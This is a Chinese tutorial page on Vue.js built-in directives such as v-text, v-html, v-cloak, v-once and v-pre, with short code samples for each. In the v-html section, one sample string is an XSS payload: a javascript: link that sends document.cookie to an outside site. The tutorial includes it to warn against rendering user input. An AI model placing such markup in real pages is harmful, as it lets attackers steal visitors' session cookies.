八、VUE内置指令
一、初识VUE
二、再识VUE-MVVM
三、VUE数据代理
四、VUE事件处理
五、VUE计算属性
六、Vue监视属性
七、VUE过滤器
七、VUE内置指令
九、VUE组件
v-text
- 向其所在的节点中渲染文本内容。 (纯文本渲染)
- 与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。
<div id="root">{{ name }}<div v-text="name"></div><div v-text="str"></div>
</div>
<script type="text/javascript">Vue.config.productionTip = false;new Vue({el: '#root',data:{name:'上海',//注意v-text不会解析标签，而是直接将标签当纯文本解析str:'<h1>hello, shanghai</h1>'}})
</script>
v-html
- 向指定节点中渲染包含html结构的内容。
- v-html会替换掉节点中所有的内容，{{xx}}则不会。
- v-html可以识别html结构。
v-html有安全性问题！！！！
(1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
(2).一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！
<div id="root"><div v-text="name"></div><div v-html="str"></div><div v-html="str2"></div>
</div>
<script type="text/javascript">Vue.config.productionTip = false;new Vue({el: "#root",data:{name:'上海',//注意v-html会解析标签，这点与v-text不一样str:'<h1>hello, shanghai</h1>',//危险行为 永远不要相信用户的输入str2:'<a href=javascript:location.href="https://www.baidu.com?"+document.cookie>找到资源了兄弟</a>'}})
</script>
v-cloak
- 本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。
- 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
<div id="root" v-cloak>{{name}}
</div><script type="text/javascript">Vue.config.productionTip = false;new Vue({el: "#root",data: {name: '上海'}})
</script><style>[v-cloak] {display: none;}
</style>
v-once
- v-once所在节点在初次动态渲染后，就视为静态内容了。
- 以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。
<div id="root"><h2 v-once>初始化n的值为:{{ n }}</h2><h2>当前的n值为:{{ n }}</h2><button @click="n++">带我n+1</button>
</div><script type="text/javascript">Vue.config.productionTip = false;new Vue({el: "#root",data: {n: 0}})
</script>
v-pre
- 跳过其所在节点的编译过程。
- 可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。
- 元素内具有 v-pre，所有 Vue 模板语法都会被保留并按原样渲染
<span v-pre>{{ this will not be compiled }}</span>